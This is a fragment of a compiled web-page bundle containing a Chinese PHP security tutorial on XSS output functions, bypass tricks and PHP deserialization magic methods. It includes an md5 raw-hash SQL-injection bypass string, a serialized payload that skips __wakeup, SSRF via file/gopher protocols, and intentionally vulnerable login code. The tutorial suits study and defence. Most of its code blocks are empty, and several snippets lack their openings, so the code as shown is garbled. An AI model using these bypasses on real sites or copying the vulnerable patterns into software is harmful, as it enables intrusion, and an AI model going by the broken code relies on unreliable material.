"]}),"\n",(0,r.jsx)(n.h3,{id:"xss",children:"XSS"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u8fd9\u91cc\u9996\u5148\u4f60\u8981\u5bf9XSS\u7684\u57fa\u672c\u539f\u7406\u8981\u77e5\u9053\u3002PHP\u4e2d\u4e00\u4e0b\u8fd9\u4e9b\u51fd\u6570\u4e4b\u6240\u4ee5\u4f1a\u51fa\u73b0XSS\u7684\u6f0f\u6d1e\u60c5\u51b5\uff0c\u4e3b\u8981\u8fd8\u662f\u6ca1\u6709\u5bf9\u8f93\u51fa\u7684\u53d8\u91cf\u8fdb\u884c\u8fc7\u6ee4\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"print",children:"print()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648347.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"print_r",children:"print_r()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648347.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"echo",children:"echo()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u4f20\u5165\u76f8\u5e94\u53c2\u6570\uff0c\u6267\u884c\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648347.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"printf",children:"printf()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\u548c\u4e0a\u9762\u76f8\u540c\uff0c\u6211\u5c31\u4e0d\u518d\u8d34\u56fe\u7247\u4e86\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"sprintf",children:"sprintf()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.h4,{id:"die",children:"die()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u8f93\u51fa\u4e00\u6761\u4fe1\u606f\uff0c\u5e76\u9000\u51fa\u5f53\u524d\u811a\u672c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.h4,{id:"var_dump",children:"var_dump()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u6253\u5370\u53d8\u91cf\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u7528\u6765\u663e\u793a\u5173\u4e8e\u4e00\u4e2a\u6216\u591a\u4e2a\u8868\u8fbe\u5f0f\u7684\u7ed3\u6784\u4fe1\u606f\uff0c\u5305\u62ec\u8868\u8fbe\u5f0f\u7684\u7c7b\u578b\u4e0e\u503c\u3002\u6570\u7ec4\u5c06\u9012\u5f52\u5c55\u5f00\u4e4b\uff0c\u901a\u8fc7\u7f29\u8fdb\u663e\u793a\u5176\u7ed3\u6784\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.h4,{id:"var_export",children:"var_export()"}),"\n",(0,r.jsxs)(n.p,{children:["\u6b64\u51fd\u6570\u8f93\u51fa\u6216\u8005\u8fd4\u56de\u4e00\u4e2a\u53d8\u91cf\u7684\u5b57\u7b26\u4e32\u8868\u793a\u3002\u5b83\u8fd4\u56de\u5173\u4e8e\u4f20\u9012\u7ed9\u8be5\u51fd\u6570\u7684\u53d8\u91cf\u7684\u7ed3\u6784\u4fe1\u606f\uff0c\u548c",(0,r.jsx)(n.code,{children:"var_dump"}),"\u7c7b\u4f3c\uff0c\u4e0d\u540c\u7684\u662f\u5176\u8fd4\u56de\u7684\u8868\u793a\u662f\u5408\u6cd5\u7684 PHP \u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648348.png",alt:"img"})}),"\n",(0,r.jsx)(n.h3,{id:"php\u9ed1\u9b54\u6cd5",children:"PHP\u9ed1\u9b54\u6cd5"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u5927\u90e8\u5206\u51fd\u6570\u7684\u4f7f\u7528\u5df2\u7ecf\u5728\u4e0a\u9762\u8be6\u7ec6\u4ecb\u7ecd\u8fc7\u4e86\uff0c\u8fd9\u91cc\u6211\u5c31\u9488\u5bf9\u6bcf\u4e00\u79cd\u51fd\u6570\u5927\u6982\u4ecb\u7ecd\u4e00\u4e0b\u5176\u4e3b\u8981\u5b58\u5728\u7684\u5229\u7528\u65b9\u6cd5\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"md5",children:"md5()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"md5()"}),"\u51fd\u6570\u7ed5\u8fc7sql\u6ce8\u5165\u3002\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"$password=$_POST['password'];\n$sql = \"SELECT * FROM admin WHERE username = 'admin' and password = '\".md5($password,true).\"'\";\n$result=mysqli_query($link,$sql);\nif(mysqli_num_rows($result)>0){\n echo 'flag is :'.$flag;\n}\nelse{\n echo '\u5bc6\u7801\u9519\u8bef!';\n}\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u91cc\u63d0\u4ea4\u7684\u53c2\u6570\u901a\u8fc7",(0,r.jsx)(n.code,{children:"md5"}),"\u51fd\u6570\u5904\u7406\uff0c\u7136\u540e\u518d\u8fdb\u5165SQL\u67e5\u8be2\u8bed\u53e5\uff0c\u6240\u4ee5\u5e38\u89c4\u7684\u6ce8\u5165\u624b\u6bb5\u5c31\u4e0d\u884c\u4e86\uff0c\u90a3\u4e48\u5982\u679cmd5\u540e\u7684\u8f6c\u6362\u6210\u5b57\u7b26\u4e32\u683c\u5f0f\u53d8\u6210\u4e86",(0,r.jsx)(n.code,{children:"'or'xxxx"}),"\u7684\u683c\u5f0f\uff0c\u4e0d\u5c31\u53ef\u4ee5\u6ce8\u5165\u4e86\u4e48\u3002",(0,r.jsx)(n.code,{children:"md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c"})]}),"\n",(0,r.jsxs)(n.p,{children:["\u8f6c\u6210\u5b57\u7b26\u4e32\u4e3a",(0,r.jsx)(n.code,{children:"'or'6xxx"})]}),"\n",(0,r.jsx)(n.h4,{id:"eval-1",children:"eval()"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u6267\u884c\u547d\u4ee4\u65f6\uff0c\u53ef\u4f7f\u7528\u5206\u53f7\u6784\u9020\u5904\u591a\u6761\u8bed\u53e5\u3002\u7c7b\u4f3c\u8fd9\u79cd\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.h4,{id:"ereg",children:"ereg()"}),"\n",(0,r.jsxs)(n.p,{children:["\u5b58\u5728",(0,r.jsx)(n.code,{children:"%00"}),"\u622a\u65ad\uff0c\u5f53\u9047\u5230\u4f7f\u7528\u6b64\u51fd\u6570\u6765\u8fdb\u884c\u6b63\u5219\u5339\u914d\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u7528",(0,r.jsx)(n.code,{children:"%00"}),"\u6765\u622a\u65ad\u6b63\u5219\u5339\u914d\uff0c\u4ece\u800c\u7ed5\u8fc7\u6b63\u5219\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"strcmp",children:"strcmp()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u5728\u524d\u9762\u4ecb\u7ecd\u8fc7\uff0c\u5c31\u662f\u6570\u7ec4\u7ed5\u8fc7\u6280\u5de7\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"curl_setopt",children:"curl_setopt()"}),"\n",(0,r.jsx)(n.p,{children:"\u5b58\u5728ssrf\u6f0f\u6d1e\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u4f7f\u7528file\u534f\u8bae\u8fdb\u884c\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648349.png",alt:"img"})}),"\n",(0,r.jsx)(n.p,{children:"\u9664\u6b64\u4e4b\u5916\u8fd8\u6709dict\u534f\u8bae\u67e5\u770b\u7aef\u53e3\u4fe1\u606f\u3002gopher\u534f\u8bae\u53cd\u5f39shell\u5229\u7528\u7b49\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"preg_replace-1",children:"preg_replace()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u524d\u9762\u8be6\u7ec6\u4ecb\u7ecd\u8fc7\uff0c/e\u6a21\u5f0f\u4e0b\u7684\u547d\u4ee4\u6267\u884c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"urldecode",children:"urldecode()"}),"\n",(0,r.jsx)(n.p,{children:"url\u4e8c\u6b21\u7f16\u7801\u7ed5\u8fc7\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u5c06Ameng\u8fdb\u884c\u4e8c\u6b21url\u7f16\u7801\uff0c\u7136\u540e\u4f20\u5165\u5373\u53ef\u5f97\u5230\u6ee1\u8db3\u6761\u4ef6\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"file_get_contents-1",children:"file_get_contents()"}),"\n",(0,r.jsx)(n.p,{children:"\u5e38\u7528\u4f2a\u534f\u8bae\u6765\u8fdb\u884c\u7ed5\u8fc7\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"parse_url",children:"parse_url()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u4e3b\u8981\u7528\u4e8e\u7ed5\u8fc7\u67d0\u4e9b\u8fc7\u6ee4\uff0c\u5148\u7b80\u5355\u4e86\u89e3\u4e00\u4e0b\u51fd\u6570\u7684\u57fa\u672c\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n ( \n [scheme] => http \n [host] => www.jlx-love.com \t\t[path] => /about \n\t)\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u51fd\u6570\u628a\u6211\u4eec\u7684\u53d8\u91cf\u503c\u62c6\u5206\u6210\u4e00\u4e2a\u51e0\u4e2a\u90e8\u5206\u3002\u90a3\u4e48\u7ed5\u8fc7\u8fc7\u6ee4\u53c8\u662f\u8bf4\u7684\u54ea\u56de\u4e8b\u5462\uff1f\u5176\u5b9e\u5c31\u662f\u5f53\u6211\u4eec\u5728\u6d4f\u89c8\u5668\u8f93\u5165url\u65f6\uff0c\u90a3\u4e48\u5c31\u4f1a\u5c06url\u4e2d\u7684\\\u8f6c\u6362\u4e3a/\uff0c\u4ece\u800c\u5c31\u4f1a\u5bfc\u81f4",(0,r.jsx)(n.code,{children:"parse_url"}),"\u7684\u767d\u540d\u5355\u7ed5\u8fc7\u3002"]}),"\n",(0,r.jsx)(n.h3,{id:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",children:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"}),"\n",(0,r.jsx)(n.h4,{id:"\u7b80\u4ecb",children:"\u7b80\u4ecb"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u4e86\u89e3\u4e00\u4e9b\u51fd\u6570\u4e4b\u524d\uff0c\u6211\u4eec\u9996\u5148\u9700\u8981\u4e86\u89e3\u4ec0\u4e48\u662f\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u5e8f\u5217\u5316\uff1a\u628a\u5bf9\u8c61\u8f6c\u6362\u4e3a\u5b57\u8282\u5e8f\u5217\u7684\u8fc7\u7a0b\u6210\u4e3a\u5bf9\u8c61\u7684\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u53cd\u5e8f\u5217\u5316\uff1a\u628a\u5b57\u8282\u5e8f\u5217\u6062\u590d\u4e3a\u5bf9\u8c61\u7684\u8fc7\u7a0b\u79f0\u4e3a\u5bf9\u8c61\u7684\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u5f52\u6839\u5230\u5e95\uff0c\u5c31\u662f\u5c06\u6570\u636e\u8f6c\u5316\u6210\u4e00\u79cd\u53ef\u9006\u7684\u6570\u636e\u7ed3\u6784\uff0c\u9006\u5411\u7684\u8fc7\u7a0b\u5c31\u662f\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsxs)(n.p,{children:["\u5728 PHP \u4e2d\u4e3b\u8981\u5c31\u662f\u901a\u8fc7",(0,r.jsx)(n.code,{children:"serialize"}),"\u548c",(0,r.jsx)(n.code,{children:"unserialize"}),"\u6765\u5b9e\u73b0\u6570\u636e\u7684\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6f0f\u6d1e\u662f\u5982\u4f55\u5f62\u6210\u7684\u5462\uff1f"}),"\n",(0,r.jsx)(n.p,{children:"PHP \u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u4e3b\u8981\u662f\u56e0\u4e3a\u672a\u5bf9\u7528\u6237\u8f93\u5165\u7684\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u8fdb\u884c\u68c0\u6d4b\uff0c\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u63a7\u5236\u53cd\u5e8f\u5217\u5316\u7684\u8fc7\u7a0b\uff0c\u4ece\u800c\u5c31\u53ef\u4ee5\u5bfc\u81f4\u5404\u79cd\u5371\u9669\u884c\u4e3a\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6211\u4eec\u5148\u6765\u770b\u4e00\u770b\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e\u683c\u5f0f\u662f\u600e\u6837\u7684\uff0c\u4e86\u89e3\u4e86\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e\uff0c\u6211\u4eec\u624d\u80fd\u66f4\u597d\u7684\u7406\u89e3\u548c\u5229\u7528\u6f0f\u6d1e\u3002\u6240\u4ee5\u6211\u4eec\u6765\u6784\u9020\u4e00\u6bb5\u5e8f\u5217\u5316\u7684\u503c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nO:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}\n'})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648350.png",alt:"img"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u8fd8\u8981\u8865\u5145\u4e00\u70b9\uff0c\u5c31\u662f\u5173\u4e8e\u53d8\u91cf\u7684\u5206\u7c7b\uff0c\u53d8\u91cf\u7684\u7c7b\u522b\u6709\u4e09\u79cd\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"public\uff1a\u6b63\u5e38\u64cd\u4f5c\uff0c\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u539f\u578b\u5c31\u884c\u3002"}),"\n",(0,r.jsx)(n.li,{children:"protected\uff1a\u53cd\u5e8f\u5217\u5316\u65f6\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a%00*%00\u3002"}),"\n",(0,r.jsx)(n.li,{children:"private\uff1a\u53cd\u5e8f\u5217\u5316\u65f6\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a%00\u7c7b\u540d%00\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u5e8f\u5217\u5316\u6211\u4eec\u77e5\u9053\u4e86\u662f\u4e2a\u4ec0\u4e48\u683c\u5f0f\uff0c\u90a3\u4e48\u5982\u4f55\u5229\u7528\u53cd\u5e8f\u5217\u5316\u6765\u89e6\u53d1\u6f0f\u6d1e\u8fdb\u884c\u5229\u7528\u5462\uff1f"}),"\n",(0,r.jsx)(n.h4,{id:"__wakeup",children:"__wakeup()"}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u6211\u4eec\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u4f1a\u5148\u68c0\u67e5\u7c7b\u4e2d\u662f\u5426\u5b58\u5728",(0,r.jsx)(n.code,{children:"__wakeup()"}),"\u5982\u679c\u5b58\u5728\uff0c\u5219\u6267\u884c\u3002\u4f46\u662f\u5982\u679c\u5bf9\u8c61\u5c5e\u6027\u4e2a\u6570\u7684\u503c\u5927\u4e8e\u771f\u5b9e\u7684\u5c5e\u6027\u4e2a\u6570\u65f6\u5c31\u4f1a\u8df3\u8fc7",(0,r.jsx)(n.code,{children:"__wakeup()"}),"\u6267\u884c",(0,r.jsx)(n.code,{children:"__destruct()"}),"\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u5f71\u54cd\u7248\u672c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:"PHP5 < 5.6.\nPHP7 < 7.0.\n\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'";\n\n echo highlight_file($this->name, true); \n } \n \n\n function __wakeup(){ \n echo "wakeup\u6267\u884c
";\n $this->name=\'1.php\'; \n } \n }\n\t$data = \'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}\';\n\tunserialize($data);\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648351.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"__sleep",children:"__sleep()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"__sleep()"}),"\u51fd\u6570\u521a\u597d\u4e0e",(0,r.jsx)(n.code,{children:"__waeup()"}),"\u76f8\u53cd\uff0c\u524d\u8005\u662f\u5728\u5e8f\u5217\u5316\u4e00\u4e2a\u5bf9\u8c61\u65f6\u88ab\u8c03\u7528\uff0c\u540e\u8005\u662f\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u88ab\u8c03\u7528\u3002\u90a3\u4e48\u8be5\u5982\u4f55\u5229\u7528\u5462\uff1f\u6211\u4eec\u770b\u770b\u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'name=$name;\n }\n\t\t\n\t\tfunction __sleep(){\n\t\t\techo "sleep()\u6267\u884c
";\n\t\t\techo highlight_file($this->name, true);\n\t\t}\n\t\t\n\t\tfunction __destruct(){\n\t\t\techo "over
";\n\t\t}\n\t\t\n function __wakeup(){ \n echo "wakeup\u6267\u884c
"; \n } \n }\n\t$a = new Ameng("2.php");\n\t$b = serialize($a);\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648352.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"__destruct",children:"__destruct()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u5176\u5b9e\u5728\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\u5df2\u7ecf\u663e\u793a\u4e86\uff0c\u5c31\u662f\u5728\u5bf9\u8c61\u88ab\u9500\u6bc1\u65f6\u8c03\u7528\uff0c\u5018\u82e5\u8fd9\u4e2a\u51fd\u6570\u4e2d\u6709\u547d\u4ee4\u6267\u884c\u4e4b\u7c7b\u7684\u529f\u80fd\uff0c\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u70b9\u6765\u8fdb\u884c\u6f0f\u6d1e\u7684\u5229\u7528\uff0c\u5f97\u5230\u81ea\u5df1\u60f3\u8981\u7684\u7ed3\u679c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"__construct",children:"__construct()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u5728",(0,r.jsx)(n.code,{children:"__sleep()"}),"\u4e5f\u662f\u4f53\u73b0\u4e86\u7684\uff0c\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u5728\u4e00\u4e2a\u5bf9\u8c61\u88ab\u521b\u5efa\u65f6\u4f1a\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\uff0c\u6bd4\u5982\u6211\u5728",(0,r.jsx)(n.code,{children:"__sleep()"}),"\u4e2d\u7528\u8fd9\u4e2a\u51fd\u6570\u6765\u5bf9\u53d8\u91cf\u8fdb\u884c\u8d4b\u503c\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"__call",children:"__call()"}),"\n",(0,r.jsxs)(n.p,{children:["\u6b64\u51fd\u6570\u7528\u6765\u76d1\u89c6\u4e00\u4e2a\u5bf9\u8c61\u4e2d\u7684\u5176\u4ed6\u65b9\u6cd5\u3002\u5f53\u4f60\u5c1d\u8bd5\u8c03\u7528\u4e00\u4e2a\u5bf9\u8c61\u4e2d\u4e0d\u5b58\u5728\u7684\u6216\u8005\u88ab\u6743\u9650\u63a7\u5236\u7684\u65b9\u6cd5\uff0c\u90a3\u4e48",(0,r.jsx)(n.code,{children:"__call"}),"\u5c31\u4f1a\u88ab\u81ea\u52a8\u8c03\u7528"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'"."call\u6267\u884c\u5931\u8d25";\n\t\t}\n\t\t\n\t\tpublic static function __callStatic($name,$args){\n\t\t\techo "
"."callStatic\u6267\u884c\u5931\u8d25";\n\t\t}\n }\n\t$a = new Ameng;\n\t$a->b();\n\tAmeng::b();\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648353.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"__callstatic",children:"__callStatic()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u65b9\u6cd5\u662f PHP5.3 \u589e\u52a0\u7684\u65b0\u65b9\u6cd5\u3002\u4e3b\u8981\u662f\u8c03\u7528\u4e0d\u53ef\u89c1\u7684\u9759\u6001\u65b9\u6cd5\u65f6\u4f1a\u81ea\u52a8\u8c03\u7528\u3002\u5177\u4f53\u4f7f\u7528\u5728\u4e0a\u9762\u4ee3\u7801\u793a\u4f8b\u548c\u7ed3\u679c\u53ef\u89c1\u3002\u90a3\u4e48\u8fd9\u4e24\u4e2a\u51fd\u6570\u6709\u4ec0\u4e48\u503c\u5f97\u6211\u4eec\u5173\u6ce8\u7684\u5462\uff1f\u60f3\u4e00\u60f3\uff0c\u5018\u82e5\u8fd9\u4e24\u4e2a\u51fd\u6570\u4e2d\u6709\u547d\u4ee4\u6267\u884c\u7684\u51fd\u6570\uff0c\u90a3\u4e48\u6211\u4eec\u8c03\u7528\u5bf9\u8c61\u4e2d\u4e0d\u5b58\u5728\u65b9\u6cd5\u65f6\u5c31\u53ef\u4ee5\u8c03\u7528\u8fd9\u4e24\u4e2a\u51fd\u6570\uff0c\u8fd9\u4e0d\u5c31\u8fbe\u5230\u6211\u4eec\u60f3\u8981\u7684\u76ee\u7684\u4e86\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"__get",children:"__get()"}),"\n",(0,r.jsx)(n.p,{children:"\u4e00\u822c\u6765\u8bf4\uff0c\u6211\u4eec\u603b\u662f\u628a\u7c7b\u7684\u5c5e\u6027\u5b9a\u4e49\u4e3aprivate\u3002\u4f46\u6709\u65f6\u5019\u6211\u4eec\u5bf9\u5c5e\u6027\u7684\u8bfb\u53d6\u548c\u8d4b\u503c\u662f\u975e\u5e38\u9891\u7e41\uff0c\u8fd9\u4e2a\u65f6\u5019PHP\u5c31\u63d0\u4f9b\u4e86\u4e24\u4e2a\u51fd\u6570\u6765\u83b7\u53d6\u548c\u8d4b\u503c\u7c7b\u4e2d\u7684\u5c5e\u6027\u3002"}),"\n",(0,r.jsx)(n.p,{children:"get\u65b9\u6cd5\u7528\u6765\u83b7\u53d6\u79c1\u6709\u6210\u5458\u5c5e\u6027\u7684\u503c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"//__get()\u65b9\u6cd5\u7528\u6765\u83b7\u53d6\u79c1\u6709\u5c5e\u6027\npublic function __get($name){\nreturn $this->$name;\n}\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-29",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"$name\uff1a\u8981\u83b7\u53d6\u6210\u5458\u5c5e\u6027\u7684\u540d\u79f0\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.h4,{id:"__set",children:"__set()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u65b9\u6cd5\u7528\u6765\u7ed9\u79c1\u6709\u6210\u5458\u5c5e\u6027\u8d4b\u503c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"//__set()\u65b9\u6cd5\u7528\u6765\u8bbe\u7f6e\u79c1\u6709\u5c5e\u6027\npublic function __set($name,$value){\n$this->$name = $value;\n}\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-30",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"$name\uff1a\u8981\u8d4b\u503c\u7684\u5c5e\u6027\u540d\u3002"}),"\n",(0,r.jsx)(n.li,{children:"$value\uff1a\u7ed9\u5c5e\u6027\u8d4b\u503c\u7684\u503c\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.h4,{id:"__isset",children:"__isset()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u51fd\u6570\u662f\u5f53\u6211\u4eec\u5bf9\u4e0d\u53ef\u8bbf\u95ee\u5c5e\u6027\u8c03\u7528",(0,r.jsx)(n.code,{children:"isset()"}),"\u6216\u8005",(0,r.jsx)(n.code,{children:"empty()"}),"\u65f6\u8c03\u7528\u3002"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u8fd9\u4e4b\u524d\u6211\u4eec\u8981\u5148\u4e86\u89e3\u4e00\u4e0b",(0,r.jsx)(n.code,{children:"isset()"}),"\u51fd\u6570\u7684\u4f7f\u7528\u3002",(0,r.jsx)(n.code,{children:"isset()"}),"\u51fd\u6570\u68c0\u6d4b\u67d0\u4e2a\u53d8\u91cf\u662f\u5426\u88ab\u8bb